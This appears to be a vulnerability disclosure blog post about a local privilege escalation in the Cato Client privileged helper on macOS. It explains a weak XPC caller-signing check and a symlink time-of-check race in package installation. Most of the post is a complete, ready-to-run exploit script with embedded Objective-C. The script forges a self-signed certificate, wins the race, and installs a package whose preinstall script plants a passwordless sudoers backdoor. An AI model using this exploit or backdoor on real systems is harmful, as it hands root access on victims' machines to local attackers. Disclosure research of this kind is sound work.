This article describes a Local Privilege Escalation in Cato Client for macOS.

Tests were performed on the latest version of Cato Client v5.13.0 (10208) running on the latest version of macOS 26.5.1 (25F80).

Introduction

A local user can escalate his privileges to root by chaining two bugs in the Privileged Helper defined by /Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist.

File: /Library/LaunchDaemons/com.catonetworks.mac.CatoClient.helper.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>RunAtLoad</key>
	<true/>
	<key>Label</key>
	<string>com.catonetworks.mac.CatoClient.helper</string>
	<key>ProgramArguments</key>
	<array>
		<string>/Library/Application Support/CatoNetworks/com.catonetworks.mac.CatoClient.helper.app/Contents/MacOS/com.catonetworks.mac.CatoClient.helper</string>
	</array>
	<key>KeepAlive</key>
	<true/>
	<key>MachServices</key>
	<dict>
		<key>com.catonetworks.mac.client.daemon</key>
		<true/>
	</dict>
</dict>
</plist>

The daemon’s XPC validation process check the caller’s Developer Team ID but does not require the signing certificate to be chained to an Apple root CA. Any self-signed certificate with the matching Organizational Unit (OU) field satisfies the check.

Furthermore, the daemon’s installPackageAtPath:withCompletion: method reads a filesystem path twice (once to verify a package’s code signature and once to spawn the binary /usr/sbin/installer). A symlink pointing to a path can be swapped between those two read operations.

Chained, these two weaknesses allow an attacker to forge a trusted caller identity, trigger package installation, and win a symlink TOCTOU Race Condition that causes the installer to execute an attacker controlled package as root.

The packages’s preinstall script writes a persistent sudoers.d rule granting passwordless sudo to all users member of the staff group.

Instalation

Here are the steps for installing the CatoClient.pkg package (which can be downloaded from the vendor’s website).

alt-text

alt-text

alt-text

alt-text

alt-text

alt-text

Privileged Helper and XPC code signing

Applications that need to perform privileged operations on macOS are typically split into a main bundle (running as the user) and a Privileged Helper registered with launchd. These helpers run as root and communicate with the main application over XPC (Apple’s IPC framework built on Mach IPC).

To prevent arbitrary processes from sending messages to a Privileged Helper, XPC allows helpers to declare a code signing requirement that callers must satisfy. When a new connection arrives, the daemon evaluates the caller’s signature against this requirement before accepting the connection.

Requirements are expressed in Apple’s requirement language. A requirement that includes only the leaf condition (without anchor apple generic) can be satisfied by generating a self-signed certificate with the matching OU value as there is no Apple CA involvement.

Insufficient XPC caller code signing requirement

Cato Client installs a Privileged Helper that exposes an XPC interface. The daemon’s requirement string appears to check only the leaf certificate’s OU field, without constraining the certificate’s origin.

Step 1: Obtain the connecting process PID

alt-text

The validation obtains the connecting process’s identity by PID (via NSXPCConnection.processIdentifier).

alt-text

For which the equivalent code is shown below.

pid_t pid = connection.processIdentifier;

PIDs are not stable identifiers. Between the moment the PID is read and when SecCodeCheckValidity evaluates it, the original process could exit and a different process could inherit that PID which leads to a classic TOCTOU PID reuse attack. But in our case, it is not necessary to take advantage of this, since the signature requirement is weak, by using a self-signed certificate, we can generate a valid one.

Step 2: Resolve to a SecCode via PID

CFDictionaryRef attrs = @{ kSecGuestAttributePid: @(pid) };
SecCodeRef secCode = NULL;
SecCodeCopyGuestWithAttributes(NULL, attrs, kSecCSDefaultFlags, &secCode);

Step 3: Build and evaluate the signing requirement

alt-text

SecRequirementRef req = NULL;
SecRequirementCreateWithString(
    CFSTR("certificate leaf[subject.OU] = CKGSB8CH43"),
    kSecCSDefaultFlags,
    &req
);
OSStatus result = SecCodeCheckValidity(secCode, kSecCSDefaultFlags, req);

Without anchor apple generic in the requirement, the daemon cannot distinguish a self-signed certificate from one issued through Apple’s certificate infrastructure. An attacker who knows the target’s Team ID (which is embedded in any signed Cato binary and recoverable via codesign) can generate a certificate that passes the check.

alt-text

All that is left to do is explore the interface declaration.

alt-text

alt-text

And then look at the list of exposed methods.

alt-text

Any process that passes the connection validation can invoke the following privileged operations:

  • installPackageAtPath:withCompletion:
  • getSystemLogsWithStartingFrom:grantingPremissionTo:completion:
  • storeSystemKeychainItem:forAccount:service:completion:
  • keychainItemForAccount:service:completion:
  • writeSecureStoreCacheToDisk:at:completionHandler:
  • readSecureStoreCacheFromDiskAt:completionHandler:
  • captureTrafficStartWithCompletionHandler:
  • captureTrafficStop
  • linkCLIToolAtPath:
  • getSystemExtensionLogsWithDestFolderURL:grantingPremissionTo:completion:
  • bypassModeActivateWithBypassModeDurationTimeSec:
  • bypassModeDeactivate
  • getDevicePosturePBWithPostureRequirements:postureConfigVersion:postureConfigStr:initiator:completion:
  • setIsDPCacheEnabledWithEnabled:completion:
  • startPostureCacheRefreshWithCompletion:
  • updateDPCacheRefreshIntervalWithRefreshIntervalSec:completion:
  • updateDPConfigWithPostureRequirements:postureConfigVersion:postureConfigStr:completion:
  • updateDPMaxWaitOnRunningCollectionSecWithMaxWaitSec:completion:
  • pingHostNameWithHostName:interfaceIP:timeout:completion:
  • pingIPWithIpAddress:interfaceIP:timeout:completion:

TOCTOU in installPackageAtPath:withCompletion:

The installPackageAtPath:withCompletion: method receives a filesystem path from the authenticated caller and performs two operations on it in sequence.

  1. Verify the .pkg code signature..
  2. Spawn /usr/sbin/installer.

Both operations resolve the path string against the filesystem independently. The daemon does not open the file, retain the file descriptor, and pass it to the installer. It does not copy the package to a protected staging directory before verification. If the provided path is a symlink, it follows the current symlink target at the moment of the syscall.

This creates an exploitable interval between the two operations. An attacker who controls the symlink target can present a legitimate file then swap it to a malicious file before it is resolved again.

alt-text

Exploit complete walkthrough

The exploit proceeds in six stages.

Stage 1: Creation of an isolated keychain

A temporary keychain is created under /tmp.

Stage 2: Generate a self-signed certificate

An RSA key pair and a self-signed certificate are generated with OpenSSL. The certificate’s OU field is set to the target Team ID (CKGSB8CH43).

Stage 3: Compile the exploit binary

The Objective-C exploit source is written to a temporary file and compiled.

Stage 4: Sign the exploit binary with the self-signed certificate

The compiled binary is signed with the certificate from “Stage 2” using codesign. Because the daemon’s requirement string does not include anchor apple generic, the XPC connection validation accepts this self-signed signature as though it were issued through Apple’s certificate infrastructure.

Stage 5: Build the malicious package

A minimal .pkg is built with pkgbuild only containing a preinstall script. When executed by /usr/sbin/installer as root, that script writes to /etc/sudoers.d/backdoor the content below.

%staff ALL=(ALL) NOPASSWD: ALL

Stage 6: Execute the exploit

The signed exploit binary is launched with paths to both the legitimate Cato package and the malicious package.

alt-text

POC

alt-text

File: exploit.sh

#!/bin/bash

#                          /\  .-----.  /\
#                         //\\/       \//\\
#                         |/\|    0    |/\|
#                         //\\\;-----;///\\
#                        //  \/   .   \/  \\
#                       (| ,-_|coiffeur|_-, |)
#                         //`__\.-.-./__`\\
#                        // /.-(     )-.\ \\
#                       (\ |)   '   '   (| /)
#                        ` (|           |) `
#                          \)           (/
# Title:     Cato Client, Local Privilege Escalation
# Author:    Mathieu Farrell aka @Coiffeur0x90
# Date:      2026-06-08
# Summary:   Exploits a flawed requirement validation check to bypass XPC
#            listener client-signature verification. The bypass is then used
#            to invoke a privileged remote method that installs a package.
#            During installation, a TOCTOU race condition in the package
#            signature verification process is exploited to replace the
#            package with a malicious one. The substituted package is
#            installed as root, and its preinstall script creates a
#            persistent backdoor at /etc/sudoers.d/backdoor.
# Run:
#     bash exploit.sh

set -euo pipefail

TARGET_SERVICE="com.catonetworks.mac.client.daemon"
TEAM_ID="CKGSB8CH43" # OU value that must match the Privileged Helper requirement.
CERT_CN="PocBYCoiffeur"
KEYCHAIN_PASS="IVOIRE_1337"
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
LEGIT_PKG="$SCRIPT_DIR/CatoClient.pkg"

WORKDIR=$(mktemp -d /tmp/exploit.XXXXXX)
KEYCHAIN="$WORKDIR/poc.keychain-db"
BINARY="$WORKDIR/exploit"
SRC="$WORKDIR/exploit.m"
EVIL_PKG="$WORKDIR/evil.pkg"
CERT_CONF="$WORKDIR/cert.conf"
CERT_PEM="$WORKDIR/poc.crt"
CERT_KEY="$WORKDIR/poc.key"
CERT_P12="$WORKDIR/poc.p12"

BACKDOOR="/etc/sudoers.d/backdoor"

cleanup() {
    [[ -n "${SAVED_KEYCHAINS:-}" ]] && security list-keychains -s $SAVED_KEYCHAINS 2>/dev/null || true
    security delete-keychain "$KEYCHAIN" 2>/dev/null || true
    rm -rf "$WORKDIR"
    unlink /tmp/race_cato.pkg 2>/dev/null || true
}
trap cleanup EXIT INT TERM

if [[ ! -f "$LEGIT_PKG" ]]; then
    echo "[x] Legit .pkg not found at '$LEGIT_PKG'."
    exit 1
fi

echo "[*](1/6) Creating isolated keychain at '$KEYCHAIN' ..."
security create-keychain -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security unlock-keychain  -p "$KEYCHAIN_PASS" "$KEYCHAIN"
security set-keychain-settings -t 7200 "$KEYCHAIN"
echo "[+] Keychain created and unlocked."

echo "[*](2/6) Generating RSA-2048 key and self-signed X.509 certificate (OU=$TEAM_ID) ..."
cat > "$CERT_CONF" << CONF
[req]
default_bits       = 2048
prompt             = no
default_md         = sha256
distinguished_name = dn
x509_extensions    = ext

[dn]
C  = US
O  = Proof of Concept
OU = $TEAM_ID
CN = $CERT_CN

[ext]
keyUsage         = critical, digitalSignature
extendedKeyUsage = codeSigning
basicConstraints = critical, CA:FALSE
subjectKeyIdentifier = hash
CONF

openssl req -x509 -newkey rsa:2048 -keyout "$CERT_KEY" -out "$CERT_PEM" -days 1 -nodes -config "$CERT_CONF" 2>/dev/null
openssl x509 -in "$CERT_PEM" -noout -subject | sed 's/subject=/    /'
openssl x509 -in "$CERT_PEM" -noout -issuer  | sed 's/issuer=/    /'
openssl pkcs12 -export -out "$CERT_P12" -inkey "$CERT_KEY" -in "$CERT_PEM" -passout "pass:$KEYCHAIN_PASS" 2>/dev/null
security import "$CERT_P12" -k "$KEYCHAIN" -P "$KEYCHAIN_PASS" -T /usr/bin/codesign -A 2>/dev/null
security set-key-partition-list -S "apple-tool:,apple:,codesign:" -s -k "$KEYCHAIN_PASS" "$KEYCHAIN" 2>/dev/null
SAVED_KEYCHAINS=$(security list-keychains | tr -d '"' | xargs)
security list-keychains -s "$KEYCHAIN" $SAVED_KEYCHAINS
echo "[+] Certificate imported into temporary keychain."

echo "[*](3/6) Writing exploit source code at '$SRC' ..."
cat > "$SRC" << 'EOF'
// Title:  Cato Client, Local Privilege Escalation
// Author: Mathieu Farrell aka @Coiffeur0x90
// Date:   2026-06-08
//
// Chain:
//   1. Self-signed cert (OU=CKGSB8CH43) bypasses XPC signature check
//      (no "anchor apple generic" in the requirement string).
//   2. Authenticated XPC call to installPackageAtPath:withCompletion:
//      triggers the privileged helper to run the installer as root.
//   3. TOCTOU race condition symlink at /tmp/race_cato.pkg is initially
//      pointing to the legit Cato-signed .pkg so that the helper's
//      signature check passes. We then swap it to the evil .pkg before the
//      helper actually executes the installer, so our preinstall script
//      runs as root.

#import <Foundation/Foundation.h>
#include <stdio.h>
#include <unistd.h>

#define HELPER_SERVICE "com.catonetworks.mac.client.daemon"
#define SWAP_PATH      "/tmp/race_cato.pkg"
#define PROOF          "/etc/sudoers.d/backdoor"
#define MAX_ATTEMPTS   10

@protocol DaemonCommandProtocol <NSObject>
- (void)installPackageAtPath:(NSString *)path withCompletion:(void(^)(BOOL))h;
@end

static const char *g_legit     = NULL;
static const char *g_malicious = NULL;

static void reset_to_legit(void) {
    unlink(SWAP_PATH);
    symlink(g_legit, SWAP_PATH);
}

static void swap_to_malicious(void) {
    unlink(SWAP_PATH);
    symlink(g_malicious, SWAP_PATH);
}

static NSXPCConnection *make_connection(BOOL *ok) {
    NSXPCConnection *conn = [[NSXPCConnection alloc]
        initWithMachServiceName:@(HELPER_SERVICE) options:0];
    conn.remoteObjectInterface = [NSXPCInterface
        interfaceWithProtocol:@protocol(DaemonCommandProtocol)];
    conn.invalidationHandler = ^{ *ok = NO; };
    conn.interruptionHandler = ^{ *ok = NO; };
    [conn resume];
    return conn;
}

int main(int argc, char **argv) {
    @autoreleasepool {

        if (argc < 3) {
            fprintf(stderr,
                "Usage: %s <legit_cato_signed.pkg> <malicious.pkg>\n\n"
                "\t - legit_cato_signed.pkg  A valid Cato-signed installer.\n"
                "\t - malicious.pkg          Unsigned .pkg whose preinstall runs as root.\n",
                argv[0]);
            return 1;
        }

        g_legit     = argv[1];
        g_malicious = argv[2];

        if (access(g_legit, R_OK) != 0) {
            fprintf(stderr, "[x] Cannot read legit pkg: %s\n", g_legit);
            return 1;
        }
        if (access(g_malicious, R_OK) != 0) {
            fprintf(stderr, "[x] Cannot read malicious pkg: %s\n", g_malicious);
            return 1;
        }

        fprintf(stderr,
            "[*] PID            : %d\n"
            "[*] Legit .pkg     : %s\n"
            "[*] Malicious .pkg : %s\n"
            "[*] Race symlink   : %s\n",
            getpid(), g_legit, g_malicious, SWAP_PATH);

        __block BOOL conn_ok = YES;
        NSXPCConnection *conn = make_connection((BOOL *)&conn_ok);
        id<DaemonCommandProtocol> proxy = [conn
            remoteObjectProxyWithErrorHandler:^(NSError *e) {
                fprintf(stderr, "[!] Proxy error: %s\n",
                    e.localizedDescription.UTF8String);
            }];

        if (!conn_ok) {
            fprintf(stderr, "[x] Connection lost immediately after resume.\n");
            return 1;
        }
        fprintf(stderr, "[+] Connection established.\n");

        // Swap the symlink at varying delays after sending the XPC
        // call, trying to land in the window between the helper's
        // signature check and the actual installer execution.
        useconds_t delays[] = {
            100, 200, 500, 1000, 2000, 5000,
            10000, 20000, 50000, 100000, 150000, 200000,
            250000, 300000, 400000, 500000,
            100, 500, 2000, 10000, 50000, 100000, 200000, 300000,
            100, 500, 5000, 50000, 150000, 350000
        };
        int n_delays = (int)(sizeof(delays) / sizeof(delays[0]));

        for (int attempt = 0; attempt < MAX_ATTEMPTS; attempt++) {

            if (!conn_ok) {
                fprintf(stderr, "[*] Reconnecting ...\n");
                [conn invalidate];
                usleep(500000);
                conn_ok = YES;
                conn  = make_connection((BOOL *)&conn_ok);
                proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *e) {
                    fprintf(stderr, "[!] Proxy error: %s\n",
                        e.localizedDescription.UTF8String);
                }];
                usleep(300000);
                if (!conn_ok) { fprintf(stderr, "[x] Cannot reconnect.\n"); break; }
            }

            useconds_t d = delays[attempt % n_delays];
            fprintf(stderr, "[*] Attempt %d swap_delay=%u µs ... ",
                attempt + 1, (unsigned)d);
            fflush(stderr);

            // Point symlink at legit .pkg so the helper's signature check passes.
            reset_to_legit();
            usleep(5000);

            dispatch_semaphore_t sem = dispatch_semaphore_create(0);
            __block BOOL fired = NO, success = NO;

            // Schedule the symlink swap after d microseconds, the race window
            // is between the helper reading the path (signature check) and
            // actually spawning the installer process.
            dispatch_after(
                dispatch_time(DISPATCH_TIME_NOW, (int64_t)d * NSEC_PER_USEC),
                dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0),
                ^{ swap_to_malicious(); });

            [proxy installPackageAtPath:@(SWAP_PATH) withCompletion:^(BOOL s) {
                success = s;
                if (!fired) { fired = YES; dispatch_semaphore_signal(sem); }
            }];

            long rc = dispatch_semaphore_wait(sem,
                dispatch_time(DISPATCH_TIME_NOW, 30LL * NSEC_PER_SEC));

            if (rc != 0) { fprintf(stderr, "TIMEOUT.\n"); continue; }
            fprintf(stderr, "success=%s\n", success ? "YES" : "NO");

            if (access(PROOF, F_OK) == 0) {
                fprintf(stderr, "[+] Exploit succeeded (attempt %d).\n",
                    attempt + 1);
                [conn invalidate];
                unlink(SWAP_PATH);
                return 0;
            }

            usleep(200000);
        }

        [conn invalidate];
        unlink(SWAP_PATH);
        fprintf(stderr, "[x] Race not won after %d attempts.\n", MAX_ATTEMPTS);
        fprintf(stderr, "[x] Exploit failed.\n");
        return 1;
    }
}
EOF

clang -o "$BINARY" "$SRC" -framework Foundation -fobjc-arc -Wall -Wextra -Wno-unused-parameter
echo "[+] Compiled '$BINARY'."

echo "[*](4/6) Signing '$BINARY' with self-signed cert (OU=$TEAM_ID) ..."
codesign --sign "$CERT_CN" --keychain "$KEYCHAIN" --force --timestamp=none "$BINARY"
echo "[+] Signed."

echo "[*](5/6) Building '$EVIL_PKG' ..."
mkdir -p "$WORKDIR/evil_root"
mkdir -p "$WORKDIR/evil_scripts"

cat > "$WORKDIR/evil_scripts/preinstall" << 'PREINSTALL'
#!/bin/bash
echo "%staff ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/backdoor
chmod 440 /etc/sudoers.d/backdoor
exit 0
PREINSTALL
chmod +x "$WORKDIR/evil_scripts/preinstall"

pkgbuild --root "$WORKDIR/evil_root" --scripts "$WORKDIR/evil_scripts" --identifier com.poc.evil.toctou --version 1.0 "$EVIL_PKG" 2>&1
echo "[+] Evil .pkg is at '$EVIL_PKG'."

echo "[*](6/6) Checking service ..."
if launchctl list 2>/dev/null | grep -q "catonetworks"; then
    echo "[+] Service found in launchctl."
else
    echo "[!] Helper not visible in user launchctl domain (may be in system domain, attempting anyway)."
fi

echo "[*] Running exploit ..."
"$BINARY" "$LEGIT_PKG" "$EVIL_PKG"
EXIT_CODE=$?

if [[ -f $BACKDOOR ]]; then
    echo "[+] '$BACKDOOR' exists (race won, preinstall executed as root)."
    echo "[+] EXPLOIT SUCCEEDED."
elif [[ "$EXIT_CODE" -eq 0 ]]; then
    echo "[+] Binary returned success but '$BACKDOOR' not found (check manually)."
else
    echo "[x] Exploit failed (exit=$EXIT_CODE, '$BACKDOOR' absent)."
fi

Conclusion

This vulnerability chain illustrates two patterns that recur in macOS Privileged Helpers.

First, a missing XPC code signing requirement is a documented misconfiguration. The correct requirement language is well specified in Apple’s developer documentation. The omission is not immediately obvious as the string certificate leaf[subject.OU] = "CKGSB8CH43" appears to constrain the caller, and it does, but only superficially. The constrained field is one the attacker controls.

The second one, a TOCTOU in a path file operation, is a structural property of any code that separates the verification and use of a filesystem path across two independent read operations.

Neither weakness is novel. Their combination in a widely deployed enterprise VPN client demonstrates that these classes of error remain relevant in production software, and that the XPC caller validation model, despite Apple’s documentation, is not uniformly applied correctly.

Thank you for reading.